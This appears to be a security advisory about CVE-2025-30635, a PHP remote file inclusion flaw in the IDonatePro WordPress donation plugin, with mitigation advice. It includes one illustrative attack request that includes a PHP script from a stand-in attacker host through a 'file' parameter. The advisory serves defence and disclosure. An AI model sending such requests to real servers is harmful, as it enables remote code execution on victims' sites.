Overview
We’ll be examining a critical vulnerability that has been identified in ThemeAtelier’s IDonatePro, designated as CVE-2025-30635. This flaw is due to an improper control of filename for an include/require statement in PHP, more commonly known as a PHP Remote File Inclusion (RFI) vulnerability. It’s critical for users and administrators of IDonatePro to understand the gravity of this issue as it poses a significant risk for system compromise or data leakage, particularly for versions up to 2.1.9.
Vulnerability Summary
CVE ID: CVE-2025-30635
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
A new way to communicate
Ameeba Chat is built on encrypted identity, not personal profiles.
Message, call, share files, and coordinate with identities kept separate.
- • Encrypted identity
- • Ameeba Chat authenticates access
- • Aliases and categories
- • End-to-end encrypted chat, calls, and files
- • Secure notes for sensitive information
Private communication, rethought.
Product | Affected Versions
ThemeAtelier IDonatePro | Up to 2.1.9
How the Exploit Works
The PHP Remote File Inclusion vulnerability occurs when an application uses user-supplied input without properly sanitizing it, to construct a file name for operations like loading scripts. This lack of input filtering allows an attacker to craft input in a way that includes a file from a remote server that they control. The attacker’s file can contain malicious PHP code, which will be executed by the server.
Conceptual Example Code
Below is a conceptual example of how an attacker might exploit this vulnerability. They would send a malicious HTTP request that includes a remote file containing their malicious PHP code:
GET /index.php?file=http://malicious.example.com/malicious_script.php HTTP/1.1
Host: target.example.comIn this example, the attacker is exploiting the vulnerable ‘file’ parameter in the application to include a file from their own server (‘malicious.example.com’) which contains a malicious PHP script (‘malicious_script.php’).
Mitigation
The most effective mitigation for this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation. These systems should be configured to detect and block attempts to exploit this vulnerability, such as by blocking requests where the ‘file’ parameter appears to be a URL.